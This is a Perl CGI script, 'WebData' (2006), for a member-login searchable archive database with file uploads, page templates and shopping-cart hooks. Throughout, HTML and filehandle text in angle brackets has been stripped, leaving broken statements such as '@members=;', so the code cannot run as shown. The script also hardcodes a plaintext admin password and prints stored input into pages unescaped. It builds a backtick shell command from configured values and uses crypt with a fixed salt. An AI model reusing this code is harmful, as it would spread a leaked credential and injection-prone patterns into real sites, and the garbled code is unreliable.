#!/usr/bin/perl $version="2006"; #open(STDERR,">&STDOUT"); #Use to find cause of errors. #********* BEGIN BODY******************** $uploadsdir='uploads/'; #Must end with a / $uploadsURL='http://cwposse.org/pebble/archives/uploads/'; #Must end with a / $password="pebblepebble"; $logdir=''; #Must end with a or is empty if log files are local to script. $logfile="${logdir}archives_data.log"; $fieldnames="${logdir}archives_fields.log"; $members="${logdir}archives_members.log"; $reportdata="${logdir}archives_report.log"; $code='5001'; $vendor="WT"; # note... to work correctly, 50b.TWpcev7II must appear on the top line of the fields.log file &readparse; #BEGIN { $UnixCrypt::OVERRIDE_BUILTIN = 1 } #use UnixCrypt; if ($user_data{cgifunction} eq "exportset") { print "Content-type: text/plain\n\n"; } else { print "Content-type: text/html\n\n"; } if ((!(-e $logdir))&&(length($logdir)>0)) {&error("Could not find logs directory $logdir")}; &getReportInfo; &user if ($user_data{cgifunction} eq "user"); &add if ($user_data{cgifunction} =~/^(Add|Hinzufügen|Ajouter|Aggiungi|Agregar|Toevoegen|Incluir)$/); &adminsearch if ($user_data{cgifunction} eq "Search/modify"); &maintenance if ($user_data{cgifunction} eq "maintenance"); &delete if $user_data{cgifunction} eq "delete"; &modify if $user_data{cgifunction} eq "modify"; &admin if $user_data{cgifunction} eq "admin"; &usersearch if $user_data{cgifunction} =~/^(Search|Suchen|Chercher|Cerca|Buscar|Zoeken|Pesquisar)$/; &import if $user_data{cgifunction} eq "Import data"; &import2 if $user_data{cgifunction} eq "import2"; &export if $user_data{cgifunction} eq "Export data"; &export2 if $user_data{cgifunction} eq "export2"; &cache if $user_data{cgifunction} eq "cache"; &fieldmod if $user_data{cgifunction} eq "Modify fields"; &deleteField if $user_data{cgifunction} eq "deleteField"; &insertField if $user_data{cgifunction} eq "insertField"; &renameField if $user_data{cgifunction} eq "renameField"; &nextprev if $user_data{cgifunction} =~ /^(Next Page|Nächste Seite|Page suivante|Pagina Successiva|Página Siguiente|Volgende pagina|Próxima Página)$/; &nextprev if $user_data{cgifunction} =~ /^(Previous Page|Vorherige Seite|Page précédente|Pagina Precedente|Página Anterior|Vorige pagina|Página Anterior)$/; &members if $user_data{cgifunction} eq "Members"; &addmember if $user_data{cgifunction} eq "Add Member"; &deletemember if $user_data{cgifunction} eq "Delete Member"; &memberpage if $user_data{cgifunction} eq "memberpage"; &memberadd if $user_data{cgifunction} eq "add"; &reportpage if $user_data{cgifunction} eq "Customize Pages"; &modifyreport if $user_data{cgifunction} eq "Modify Pages"; &deleteset if $user_data{cgifunction} eq "deleteset"; &form if ($user_data{cgifunction} eq "form"); &sqlform if ($user_data{cgifunction} eq "sqlform"); &instantmember if ($user_data{cgifunction} eq "instantmember"); &exportset if ($user_data{cgifunction} eq "exportset"); &recordcount if ($user_data{cgifunction} eq "recordcount"); &replace if ($user_data{cgifunction} eq "replace"); &wtcart::configurecart if ($user_data{cgifunction} eq "Configure Shopping Cart"); &wtcart::saveCartSettings if ($user_data{cgifunction} eq "Save Cart Settings"); &wtcart::checkout if ($user_data{cgifunction} eq "checkout"); &wtcart::checkout2 if ($user_data{cgifunction} eq "checkout2"); &wtcart::checkout3 if ($user_data{cgifunction} eq "checkout3"); &wtcart::viewcart if ($user_data{cgifunction} eq "viewcart"); &wtcart::savecart if ($user_data{cgifunction} eq "savecart"); &wtcart::emptycart if ($user_data{cgifunction} eq "emptycart"); &wtcart::refreshcart if ($user_data{cgifunction} eq "refreshcart"); &wtcart::process if ($user_data{cgifunction} eq "process order"); &wtcart::retrieveOrders if ($user_data{cgifunction} eq "Retrieve Orders"); &wtcart::deleteOrders if ($user_data{cgifunction} eq "Delete Orders"); &error('There is no value for cgifunction') if $user_data{cgifunction} eq ""; sub error { print "$_[0]

\n"; die "$_[0] $!"; } #*****BEGIN INSTANTMEMBER SUBROUTINE sub instantmember { &error("Instant Member disabled by admin") if $allowInstantMember!=1; if ($user_data{username} eq "admin") { print ""; exit; }; &putlock; open(FILE,"<$members"); @members=; close FILE; &removelock; foreach (@members) { ($user,$pass)=split(/::/); if ($user_data{username} eq $user) { print ""; exit; }; }; $pass=crypt($user_data{password},7); $line="$user_data{username}::$pass\n"; &putlock; open(FILE,">>$members"); print FILE ("$line"); close FILE; &removelock; &memberpage; }; #****END INSTANTMEMBER SUBROUTINE sub form { if ($usersearch!=1) { if ($membersCanSearch) { &memberpass; } else { &checkpass; }; }; &wtcart::resultPageScript if $useCart; &language; pop(@value); $id=$user_data{fid}; if ($formTemplateOn != 1) { print " FORM DATA 0) {print " BACKGROUND=\"$background\""}; print "> $reportHeader "; }; open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fieldsData=; close FIELDS; foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); }; shift(@fields); shift(@types); chomp(@fields); &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(READLOG,"<$logfile") or &error("Could not open $logfile"); @entrydata = ; close READLOG; chomp(@entrydata); &removelock; #remove lock file foreach $entry (@entrydata) { @parsed = split(/::/,$entry); if ($parsed[0] eq $id) {@data = @parsed}; }; $num = @fields; $id=shift(@data); $owner=pop(@data); if ($formTemplateOn != 1) { for ($i=0;$i<$num;$i++) { # $data[$i]=~s/\"/'"'/ge; $data[$i]=~s/^([0-9a-zA-Z_\-\.\~]+\@[0-9a-zA-Z_\-\.\~]+\.[0-9a-zA-Z_\-\.\~]+)/$1<\/A>/; if ($data[$i]=~/^([^ ]+\.(gif|jpg))$/i) { $data[$i]=""; } else { &gettype($types[$i+1]); if ($type ne "upload") { $data[$i]=~s/^(http[^ ]+)/$1<\/A>/; } else { @filenameparts=split('_',$data[$i]); $filename=@filenameparts[$#filenameparts]; $data[$i]=~s/^(http[^ \<\>]+)/$filename<\/A>/g; } }; if ($data[$i] eq "") {$data[$i]=' '}; print "\n"; }; print "
$fields[$i]$data[$i]
"; }; &template if $formTemplateOn==1; if ($useCart) { print qq(

); print qq( ); unless ($formTemplateOn) { print qq(
\n); print &wtcart::addButton("cart1"); print qq(
); } } &wtcart::footer_cart_buttons if $useCart; print "

Back to Search Results \ \; " if length($user_data{query})>0; if ((length($user_data{cgilanguage})>0)&&($searchPage=~/cgifunction=user$/)) { $searchPage.="\&language=$user_data{cgilanguage}"; } print "\ \;\ \;$searchagain\n" if $searchAgain; print "\ \;\ \;$returntohomepage\n" if $returnToHomepage; print "

$poweredbywebteacher"; }; #*******END FORM SUBROUTINE****** #BEGIN TEMPLATE sub template { $uploadcount=1; @escape=(); foreach (@data) { $tempescape=escape($_); push(@escape,$tempescape); if (!$templateNoSubstitute) { &gettype($types[$uploadcount]); s/^([0-9a-zA-Z_\-\.\~]+\@[0-9a-zA-Z_\-\.\~]+\.[0-9a-zA-Z_\-\.\~]+)/$1<\/A>/g; if ($_!~/\.(gif|jpg)$/) { if ($type eq "upload") { @filenameparts=split('_',$_); $filename=@filenameparts[$#filenameparts]; $_=~s/^(http[^ \<\>]+)/$filename<\/A>/g; } else { s/^(http[^ ]+)/$1<\/A>/g; }; }; s/^([^ ]+\.(gif|jpg))$/\/g; $uploadcount++; }; }; $dateCreated=&getDate($id); $formTemplate=~s/(\$if[^\}]*\})/&getIf($1)/ge; $formTemplate=~s/\$data\[([0-9]+)\]/$data[$1]/g; $formTemplate=~s/\$escape\[([0-9]+)\]/$escape[$1]/g; $formTemplate=~s/\$fields\[([0-9]+)\]/$fields[$1]/g; $formTemplate=~s/\$id/$id/g; $formTemplate=~s/\$datecreated/$dateCreated/g; $formTemplate=~s/\$membername/$owner/g; if ($useCart) { $tmp=&wtcart::addButton("cart1"); $formTemplate=~s/\$addbutton/

$tmp<\/FORM>/g; } print ($formTemplate); }; #END TEMPLATE # URL-encode data sub escape { shift() if ref($_[0]) || $_[0] eq $DefaultClass; my $toencode = shift; return undef unless defined($toencode); $toencode=~s/([^a-zA-Z0-9_.-])/uc sprintf("%%%02x",ord($1))/eg; return $toencode; } # unescape URL-encoded data sub unescape { shift() if ref($_[0]); my $todecode = shift; return undef unless defined($todecode); $todecode =~ tr/+/ /; # pluses become spaces $todecode =~ s/%([0-9a-fA-F]{2})/pack("c",hex($1))/ge; return $todecode; } #******BEGIN DELETE SET SUBROUTINE******* sub deleteset { &memberpass; &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(READLOG,"<$logfile") or &error("Could not open $logfile"); @entries = ; close READLOG; &removelock; #remove lock file foreach $line (@entries) { @data=split(/::/,$line); $len=@data; $owner=$data[$len-1]; chop($owner); $id=$_; if (($user_data{foundset}!~$data[0])||(($userid ne "admin")&&($userid ne $owner))) { push(@result,$line); } else { $uploadpath="${uploadsdir}${data[0]}"; unlink <$uploadpath*>; }; }; &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(PUTLOG, ">$logfile") or &error("Content-type: text/html\n\n

Could not open the file $logfile

If you have moved the file, you can correct this by changing lines 10 and 11 of the webdata_[database name].cgi script to show the absolute path to the file.

This cgi error was "); print PUTLOG (@result); close PUTLOG; &removelock; #remove lock file @value=(); if ($userid eq "admin") {&admin} else {&memberpage}; }; #******END DELETE SET SUBROUTINE********* #******BEGIN RECORD COUNT SUBROUTINE ****** sub recordcount { &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(READLOG,"<$logfile") or &error("Could not open $logfile"); @entries = ; close READLOG; &removelock; #remove lock file print $#entries+1; } #******END RECORD COUNT SUBROUTINE ****** #******BEGIN EXPORT SET SUBROUTINE ****** sub exportset { &memberpass; &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(READLOG,"<$logfile") or &error("Could not open $logfile"); @entries = ; close READLOG; &removelock; #remove lock file chomp(@entries); if ($user_data{delimiter} eq "comma") { $delimiter=','; } elsif ($user_data{delimiter} eq "tab"){ $delimiter="\t"; } else { $delimiter="\|"; }; $d2=$delimiter; $d2="\\|" if $d2 eq "\|"; foreach $line (@entries) { # $line=~s/,/\[COMMA\]/g if $delimiter eq ','; @data=split(/::/,$line); $len=@data; $owner=$data[$len-1]; if ($user_data{foundset}=~/$data[0]/) { $id=shift(@data); $dateCreated=&getDate($id); unshift(@data,$id,$dateCreated) if $user_data{includeID}; pop(@data) if !$user_data{includeID}; foreach (@data) { if (/$d2/) { $_=~s/\"/\"\"/g; $_="\"$_\""; } } $delimiter="\|" if $delimiter eq "\\\|"; $newline=join($delimiter,@data); push(@result,"$newline\n"); }; }; print (@result); } #******END EXPORT SET SUBROUTINE ******** #******BEGIN MODIFY REPORT.LOG FILE******* sub modifyreport { &checkpass; open(FILE,">$reportdata") or &error("Could not open $reportdata"); $user_data{header}=~s/\r?\n/::/g; $user_data{header}=~s/\<\;/; close FIELDS; @fields=(); @types=(); foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); }; shift(@fields); chomp(@fields); $i=0; foreach (@fields) { $fieldname=$_; $fieldname=~s/ //g; $boxname="${fieldname}_required"; if ($user_data{$boxname} eq "on") { push (@requiredfields,$i); } $i++; } $reqfields=join(',',@requiredfields); #chop($user_data{seqnums}); print FILE ("$user_data{color}\n$user_data{header}\n$user_data{seqnums}\n$user_data{sort}\n"); print FILE ("$user_data{order}\n$user_data{numrows}\n$form\n"); print FILE ("$user_data{searchHeader}\n$user_data{searchInfo}\n$user_data{viewButtonLabel}\n"); print FILE ("$searchTemplateOn\n$user_data{searchTemplate}\n"); print FILE ("$formTemplateOn\n$user_data{formTemplate}\n$user_data{searchPage}\n$user_data{limitAdminColumns}\n"); print FILE ("$allowInstantMember\n$europeanDates\n$user_data{sort2}\n$user_data{order2}\n$user_data{reportFooter}\n"); print FILE ("$user_data{headerColor}\n$user_data{rowColor1}\n$user_data{rowColor2}\n$user_data{formSeqnums}\n"); print FILE ("$hideBorder\n$user_data{tableFont}\n$usesql\n$user_data{dsn}\n$user_data{tablename}\n"); print FILE ("$user_data{primarykey}\n$useradd\n$usersearch\n$user_data{homepage}\n$user_data{memberpage}\n"); print FILE ("$membersCanSearch\n$membersCanAdd\n$searchbox\n$user_data{background}\n$user_data{viewButtonImage}\n"); print FILE ("$user_data{email}\n$user_data{sendmail}\n$user_data{language}\n$user_data{textcolor}\n$user_data{linkcolor}\n"); print FILE ("$user_data{vlinkcolor}\n$reqfields\n$templateNoSubstitute\n$limitMembers\n$limitMemberSearch\n"); print FILE ("$disableFileLocking\n$user_data{registereddb}\n$showCriteria\n$maintenanceTemplateOn\n"); print FILE ("$user_data{maintenanceTemplate}\n$gotoPage\n$nextprevButtons\n$searchAgain\n$returnToHomepage\n"); print FILE ("$user_data{reportPageFooter}\n$user_data{searchlog}\n$useCart\n$user_data{thankYouPage}\n"); close FILE; &wtcart::retainSettings if $useCart; &reportpage; }; #******END MODIFY REPORT.LOG FILE******* sub getReportInfo{ @reportData=(); open(FILE,"<$reportdata") or &error("Could not open $reportdata"); @reportData=; close FILE; chomp(@reportData); $reportColor=$reportData[0]; $reportHeader=$reportData[1]; $reportHeader=~s/::/\n/g; $reportSequence=$reportData[2]; @sequence=split(/:/,$reportSequence); $reportSort=$reportData[3]; $reportOrder=$reportData[4]; $reportLines=$reportData[5]; $reportLines=15 if $reportLines eq ""; $reportForm=$reportData[6]; $searchHeader=$reportData[7]; $searchHeader=~s/::/\n/g; $searchInfo=$reportData[8]; $viewButtonLabel=$reportData[9]; $searchTemplateOn=$reportData[10]; $searchTemplate=$reportData[11]; $searchTemplate=~s/::/\n/g; $formTemplateOn=$reportData[12]; $formTemplate=$reportData[13]; $formTemplate=~s/::/\n/g; $searchPage=$reportData[14]; $searchPageBox=$searchPage; if (length($searchPage)==0) {$searchPage="${cgilocation}?cgifunction=user"}; $limitAdminColumns=$reportData[15]; $allowInstantMember=$reportData[16]; $europeanDates=$reportData[17]; $reportSort2=$reportData[18]; $reportOrder2=$reportData[19]; $reportFooter=$reportData[20]; $reportFooter=~s/::/\n/g; $headerColor=$reportData[21]; $rowColor1=$reportData[22]; $rowColor2=$reportData[23]; $searchFormSequence=$reportData[24]; @SFsequence=split(':',$searchFormSequence); $hideBorder=$reportData[25]; $tableFont=$reportData[26]; $usesql=$reportData[27]; $dsn=$reportData[28]; $tablename=$reportData[29]; $primarykey=$reportData[30]; $useradd=$reportData[31]; $usersearch=$reportData[32]; $homepage=$reportData[33]; $memberpage=$reportData[34]; $membersCanSearch=$reportData[35]; $membersCanAdd=$reportData[36]; $searchbox=$reportData[37]; $background=$reportData[38]; $viewButtonImage=$reportData[39]; $email=$reportData[40]; $sendmail=$reportData[41]; $language=$reportData[42]; $textcolor=$reportData[43]; $linkcolor=$reportData[44]; $vlinkcolor=$reportData[45]; $reqfields=$reportData[46]; $templateNoSubstitute=$reportData[47]; $limitMembers=$reportData[48]; $limitMemberSearch=$reportData[49]; $disableFileLocking=$reportData[50]; $registereddb=$reportData[51]; $showCriteria=$reportData[52]; $maintenanceTemplateOn=$reportData[53]; $maintenanceTemplate=$reportData[54]; $maintenanceTemplate=~s/::/\n/g; $gotoPage=$reportData[55]; $nextprevButtons=$reportData[56]; $searchAgain=$reportData[57]; $returnToHomepage=$reportData[58]; $reportPageFooter=$reportData[59]; $reportPageFooter=~s/::/\n/g; $searchlog=$reportData[60]; $useCart=$reportData[61]; $thankYouPage=$reportData[62]; &wtcart::getcartdata if $hascart; } #*******BEGIN REPORT PAGE SUBROUTINE******** sub reportpage { &checkpass; &getReportInfo; open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fieldsData=; close FIELDS; @fields=(); @types=(); foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); }; shift(@fields); chomp(@fields); $len=@fields; $reportHeader=~s/Preferences

Oscar... This is the Main Pebble Archives Admin Page for Defining the Headers, Footers, Search Page, Results Page and the Overall Look & Feel of the Dynamic Archives. There should be no reason to change anything here!.

Return to Administration Page
Test your modifications on the User Search Page
Scroll to bottom of page
Choose a language:
This changes the buttons and instructions on the user search page only.

Page Colors:
Enter a standard color or hex triplet, and/or a background image.
This will apply to all 3 pages, the initial search page, the search results table, and the 'view button' form.
\<\;BODY BGCOLOR= \"\"
BACKGROUND= \"\"
TEXT=\"\"
LINK=\"\"
VLINK=\"\"\>\;


Header for search page:
This will go at the top of the search input form that users come to first.
Enter any header text and/or images using HTML code:

Include default search instructions on Search Page?
Allow visitors to ADD to the database?
Allow visitors to SEARCH the database?

Which fields should appear on the user search page:
Click the fields in the left box in the sequence you wish
to display them in the user search page.
You may leave out fields which you wish to hide from users
Avaliable fieldsFields on search page

Use only a single search box for entire record.

Enter a URL for the \"Return to Homepage\" link.

If you would like use a customized search page:
1. Choose SAVE-AS on the default search page. Choose a name for the search page.
2. If you use a cgi-bin, edit the ACTION in the <FORM> tag to read \"/cgi-bin/$cgilocation\"
3. Customize the saved file and upload it.
4. Enter the name or URL of the new search page here.

"; $SearchPageBox=$searchPage; if ($searchPageBox eq "${cgilocation}?cgifunction=user") {$searchPageBox=""}; print "

If you would like to use a custom page for members:
1. Choose SAVE-AS on the default members page which comes up after a member logs in.
2. If you use a cgi-bin, edit the ACTION in the <FORM> tag to read \"/cgi-bin/$cgilocation\"
3. Remove the first line which contains a script to set the cookie.
4. Customize the saved file and upload it.
5. Enter the name or URL of the new members page here.


Allow members to SEARCH the database?
\ \;\ \;Restrict member searches to only their own records?
Allow members to ADD TO and MODIFY the database?
\ \;\ \;Limit members to 1 record each?
Note: You must use the members login page every time you wish to test a member feature so that the member cookie will replace the admin cookie. Likewise, you must use the admin login page again to reset the admin cookie before you return here or perform any other admin function. "; #*********** BEGIN ODBC ******************** #print " #


#Use an ODBC Database instead of Webdata's datafile. #
#You must have the Win32::ODBC module to use this option.
#DSN Name
#Table Name
#Primary Key #"; #************ END ODBC ********************** #************ BEGIN REQUIRED FIELDS ********* print "


\n"; print "Required Fields
The selected fields will be required on any page from which a record may be added.
\n"; $cols=0; $count=0; print ""; foreach (@fields) { $fieldname=$_; $fieldname=~s/ //g; print "" if $cols==0; print ""; print "\n"; $cols++; if ($cols==5) { $cols=0; print "\n"; } $count++; } print "
$_
"; #************ END REQUIRED FIELDS *********** print "


Header for results page:
This will go at the top of the search results table.
Enter any header text and/or images using HTML code:

Display Search Criteria:
Keep a log of user searches
Enter the name or path to a file in which you would like to store visitor's search criteria.
You may need to create this file manually and change its permissions so that the script can write to it.

Hide Table Border:

Font information
Enter the attributes to go within a <FONT> tag for each table cell. Do not use quotes.
For example:
SIZE=3 FACE=Arial COLOR=green
<\;FONT >\;

Table Colors:
You may choose what color the header row of the table will be, and choose two alternating colors for the table itself. If you do
not wish to alternate, simply enter the same color for color1 and color2. Enter any standard color or hex code.

Header row: \ \; Table row color 1: \ \; Table row color 2:

Sub Footer for results page:
This will go at the bottom of the search results table, immediatly after the data, and before the navigation controls.
Enter any header text and/or images using HTML code:

Show \"Go to page: 1 2 3 ...\" navigation:
Show \"Next Page/Previous Page\" buttons:
Show \"Search Again\" link:
Show \"Return to Homepage\" link:

Footer for entire results page:
This will go at the very bottom of the search results page, after the navigation controls. Enter any header text and/or images using HTML code:

Sequence of Fields:
Click the fields in the left box in the sequence you wish
to display them in the user search results table.
You may leave out fields which you wish to hide from users
Avaliable fieldsReport Columns (left to right)

Display the Administration search results using only the above columns:

"; print ""; print "
"; print ""; print "
Sort by:
Choose the field by which you wish to sort first (primary sort)
Sort Sequence:
Sort by 2:
If 2 or more of the above values are the same,
choose the field to sort by next (secondary sort)
Sort Sequence:

\n"; print "Number of results per page

Include \"view\" button?
Label for view button:
Enter an image to use instead of the view button

The view button appears next to each record in the user search results. It displays the current record in a columnar form.


Use European Dates (dd/mm/yy)?

Allow 'Instant Member' page?

Use Shopping Cart? "; unless ($hascart) { print qq( The Shopping Cart module is available from http://www.cwposse.org/epowercart.html); } print "

Disable file locking
The program creates a small file in the $uploadsdir directory while modifying the data.log file so that 2 simultanious processes will not conflict with each other. If you are having difficulty setting write permissions to the $uploadsdir directory, you may disable this feature until you get it configured properly.


Notify admin of all new records
E-mail address
Path to Sendmail
On Unix, sendmail is frequently at /usr/lib/sendmail
On Windows, enter the path to Blat, which can be downloaded for free from http://gepasi.dbs.aber.ac.uk/softw/Blat.html
Thank You page: Create your own HTML page to be displayed after a user or member has submitted a new record to the database. If you include the word \$showdata in the page, it will be replaced with a list of the values the person has just added. \$data[#] and other keywords described in the template instructions below will also work.
Filename of \"Thank You\" page:

Template for first search results screen

Instead of the default table, you can enter your own HTML code in the box below. The code you enter will be displayed once for every record that matches the user\'s search criteria. Using the keys below, substitute \$data[0] where you would like the value contained in the first field to appear, \$data[1] for the value contained in the second field, etc. Type the word \$viewbutton to place the view button in the search results. Type \$id to include the record ID number. Type \$datecreated to include the date the record was added to the database. Type \$membername to display the record\'s owner. If you are creating a link to another cgi script, use \$escape[#] instead of \$data[#]. This will automatically convert \"three, at \$2.25/each\" into \"three%2C%20at%20%242.25%2Feach\", which is the format cgi scripts expect in the URL. If you use the shopping cart, type \$addbutton where the \"Add to cart\" button should go.
Conditional Display: The following syntax:
  \$if (\$data[#]) {my text}
will only display \"my text\" if there is a value in the \$data[#] field. If \$data[#] is empty, nothing will be displayed.
  \$if (!\$data[#]) {my text}
will have the oppositte effect. \"my text\" will only display if \$data[0] is empty or equal to zero.

Type this:To display the value for this: Type this:To display the value for this: "; $numfields=@fields; for($i=0;$i<$numfields;$i++) { print "
\$data[$i]$fields[$i]"; $i++; last if $i==$numfields; print "\$data[$i]$fields[$i]\n"; } print "

Do not convert URLs, e-mail addresses, and images in templates
If this box is unchecked, URLs and e-mail addresses will appear as links and images will be displayed automatically. Check this box if you wish to override the default substitutions. This is necessary, for example, to define the text inside a link or specify the alignment of an image.

Use this template instead of the search results table?
Search Template


Template for form view, when the \'view\' button is clicked

Instead of the default form, you can enter your own HTML code in the box below. Substitute \$data[0] where you would like the value contained in the first field to appear, \$data[1] for the value contained in the second field, etc.
Use this template instead of the default form when the 'view' button is clicked?
Form Template

Members Maintenance Page Template
The maintenance page appears when a member selects a record to be modified or deleted. If \"Limit Members to 1 Record Each\" is checked, this is the first page the member will come to.
Type \$field[#] to display an editable box for a selected field. Type \$data[#] to display the value of a field as text, in a non-editable format.
Use this template instead of the default Maintenance Page?

"; if ($user_data{qtfield}) {print " If you have registered another webdata_[database name].pl file in the same directory as this one is in, enter its filename here to register this database

"}; print "
Return to Administration Page

"; print " Test your modifications on the User Search Page




\ \;"; }; #*******END REPORT PAGE SUBROUTINE********** #********BEGIN MEMBERADD SUBROUTINE************** sub memberadd { &memberpass; open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fieldsData=; close FIELDS; foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); }; chomp(@fields); @value=(); $body="The following record has been added to the $cgilocation database.\n\n"; $value[0]=time(); $fcount=1; shift(@fields); $missingReqs=0; $isEmpty=1; foreach $fname (@fields) { $value[$fcount]=$user_data{$fname}; $reqnum=$fcount-1; if ((length($user_data{$fname})==0)&&($reqfields=~/(^|\,)$reqnum($|\,)/)) { $reqerror.="$fname is a required field.

"; $missingReqs=1; } if (length($user_data{$fname})>0) {$isEmpty=0}; $body.="$fname\: $user_data{$fname}\n"; &gettype($types[$fcount]); #UPLOAD IF IT IS AN UPLOAD FIELD if (($type eq "upload")&&(length($user_data{$fname})>0)) { if ($user_data{$fname}=~/([^\\\/\:]+$)/) {$INfilename=lc($1)}; $INfilename=~s/[^a-zA-Z0-9\_\.]//g; if ($INfilename=~/\.([a-zA-Z0-9]+)$/) {$extension=$1}; if ($typeexts!~/,*${extension},*/i) { &error("Only the following filetypes are allowed. $typeexts"); } $OUTfilename="${value[0]}_${fname}_${INfilename}"; $value[$fcount]="${uploadsURL}$OUTfilename"; $uploadsize=0; @filecontents=(); while ($bytesread=read($user_data{$fname},$buffer,1024)) { $uploadsize+=length($buffer); push(@filecontents,$buffer); } if ($uploadsize>$typesize*1000) { &error("upload size = $uploadsize bytes.

The upload can only be a maximum of ${typesize}KB") }; open (OUTFILE,">${uploadsdir}${OUTfilename}") or &error("Could not open ${uploadsdir}$OUTfilename for writing"); binmode(OUTFILE); print OUTFILE (@filecontents); close OUTFILE; close ($user_data{$fname}); } #END UPLOAD $fcount++; }; $body.="\nSUBMITTED BY: $userid\n"; if ($isEmpty) {$reqerror.="No data was submitted

"}; if (($missingReqs)||($isEmpty)) { &bodytag; print "Your record was not added for the following reasons:

\n"; print "$reqerror"; print qq(Return to previous page); exit; } #pop(@value); #** Remove cgifunction from @value array ** #if ($user_data{pagenum}>0) {pop(@value)}; #** remove pagenum from @value array foreach (@value) { $_=~s/\r/\n/g; $_=~s/\n\n/\n/g; $_=~s/\n/
/g; }; #******* Remove delimiter characters and leading spaces********* foreach $item (@value) { $item=~s/^( *)//ge; # remove leading spaces from entries $item=~s/:/':'/ge; # replace delimiting character from entries }; #****Check to see if entry is already used**** &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(READLOG,"<$logfile"); @entries = ; close READLOG; &removelock; #remove lock file $unique="true"; $line = $entries[$#entries]; @data = split(/::/,$line); chomp(@data); shift(@data); $comp1=join('::',@data); @data=(@value,$userid); chomp(@data); shift(@data); $comp2=join('::',@data); if ($comp1 eq $comp2) { $unique="false"; }; #********Add values to $logfile file******************* if($unique eq "true") { &putlock; #place a lock file in the uploads dir to prevent simultanious writing. push(@value,"$userid"); open(LOGFILE,">>$logfile") or &error("Could not open $logfile"); $line=join("::",@value); print LOGFILE ("$line\n"); close(LOGFILE); &removelock; #remove lock file. } else { print ""; print "That entry matches the previous entry exactly. It is probably a duplicate entry. Submission cancelled."; exit; }; #****RETURN TO MAINTENANCE SCREEN**** &thankYouPage; if (length($email)>0) { if ($^O=~/win/i) { open (MAIL,">${uploadsdir}mail.txt"); print MAIL ("$body\n"); close MAIL; $tmp=`$sendmail ${uploadsdir}mail.txt -s \"Oscar, The Pebble Archives has been Updated\" -t $email -q`; } else { open (MAIL,"|$sendmail -t") or &error("Could not open $sendmail"); print MAIL ("To: $email\nFrom: $email\n"); print MAIL ("Subject:Oscar, The Pebble Archives has been Updated\n$body\n"); close MAIL; } } }; #*********END MEMBER ADD SUBROUTINE******************** #********BEGIN LIMIT MEMBERS SUBROUTINE sub limitMem { &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open (FILE,"<$logfile") or &error("Could not open $logfile"); @entries=; close FILE; &removelock; #remove lock file chomp(@entries); $isListed=grep(/::$userid$/,@entries); if (!$isListed) { open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fields=; close FIELDS; $numfields=@fields; $dummyline=time(); for ($i=0;$i<$numfields;$i++) { $dummyline.="::"; } $dummyline.=$userid; push(@entries,$dummyline); &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open (FILE,">$logfile") or &error("Could not open $logfile"); foreach (@entries) { print FILE "$_\n"; } close FILE; &removelock; chomp(@entries); }; foreach(@entries) { if (/::$userid$/) { @data=split('::'); %user_data=(); @value=(); $user_data{part}=$data[0]; $value[0]=$user_data{part}; $value[1]="maintenance"; } } &maintenance; } #********END LIMIT MEMBERS SUBROUTINE #****BEGIN MEMBER PAGE SUBROUTINE sub memberpage { &memberpass; print ""; if ($limitMembers) { &limitMem; exit; } if (length($memberpage)>0) { print "\n"; print ""; exit; } @fields=(); @types=(); open(FIELDS,"<$fieldnames") or &error ("Could not open $fieldnames"); @fieldsData=; close FIELDS; $usemulti=0; foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); $usemulti=1 if $type=~/upload/; }; shift(@fields); shift(@types); print " Members Admin Page

Members Administration Page

"; if (length($reqfields)>0) { print "* indicates required fields
"; } print "
"; print "\n"; $ftcount=0; foreach $field (@fields) { &gettype($types[$ftcount]); chop($field); print ""; if ($type eq "text") { print "\n"; }; if ($type eq "checkbox") { print "\n"; }; if ($type eq "list") { print "\n"; }; if ($type eq "comment") { print "\n"; }; if ($type eq "upload") { print "\n"; }; if ($type eq "variance") { print "\n"; }; if ($type eq "price-variance") { print "\n"; }; $ftcount++; }; print "
Date Created (Date is added automatically, use for Search/modify only)
"; print "* " if $reqfields=~/(^|\,)$ftcount($|\,)/; print "$field
"; if ($membersCanAdd) { print "Enter each option with a comma in-between.
" }; print "
"; if ($membersCanAdd) { print "Alternate option and price with a comma in-between.
for example: small,9.95,medium,12.95,large,15.95,X-large,18.95

" }; print "
"; print "" if $membersCanAdd; print " " if $membersCanAdd; print " "; print "
Search the entire database. " if $membersCanSearch; print "
Upload a delimited text file. " if $membersCanAdd; print "
\n"; if ($membersCanAdd) { print "

Click \'Add\' to add a record to the database.

Oscar: To add a new record, type it in and press the add button. To modify or delete a record... Keyword Search for the record, then click on the record in the search results window. If you want to view a list of all archives, press the Clear Form button then press the Search/Modify button.

"; } if ($membersCanSearch) { print "

Enter your search criteria in the form, then click \"Search\" to search the entire database. Leave the form blank to show all records.

"; } print " Return to home page
